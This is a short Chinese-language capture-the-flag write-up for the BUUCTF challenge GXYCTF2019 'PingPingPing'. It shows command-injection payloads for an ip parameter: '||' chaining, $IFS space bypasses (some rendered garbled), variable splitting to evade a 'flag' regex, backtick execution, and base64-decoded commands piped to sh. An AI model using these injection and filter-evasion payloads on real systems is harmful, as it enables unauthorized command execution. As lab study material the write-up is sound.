GXYCTF2019-PingPingPing

时间:2022-07-23
本文章向大家介绍GXYCTF2019-PingPingPing,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

题目地址:buuctf

打开题目

只有一个/?ip=

尝试传?ip=127.0.0.1,得到回显

利用管道符漏洞,传?ip=127.0.0.1||ls

看到flag.php 传?ip=127.0.0.1||cat%20flag.php

尝试传一下,得知如果我们传入的字符含有flag空格或者/,那么就会返回错误

这里用IFS1来绕过空格的限制,传?ip=127.0.0.1||catIFS1index.php

可以看到确实过滤了很多

这里我用三种办法

1.变量替换

preg_match("/.*f.*l.*a.*g.*/", $ip

因为这个会判断输入语句中是否按顺序出现f l a g,所以我们用

?ip=127.0.0.1||a=g;catIFS1fla

2.内敛执行

?ip=127.0.0.1||a=g;cat$IFS$1`ls`

3.sh

既然过滤了bash,那么可以用sh

?ip=127.0.0.1||echoIFS1Y2F0IGZsYWcucGhw|base64IFS1-d|sh

其中Y2F0IGZsYWcucGhw是base64加密之后的cat flag.php

关于命令执行的绕过,可以参考ghtwf01师傅的这篇文章:命令执行漏洞利用及绕过方式总结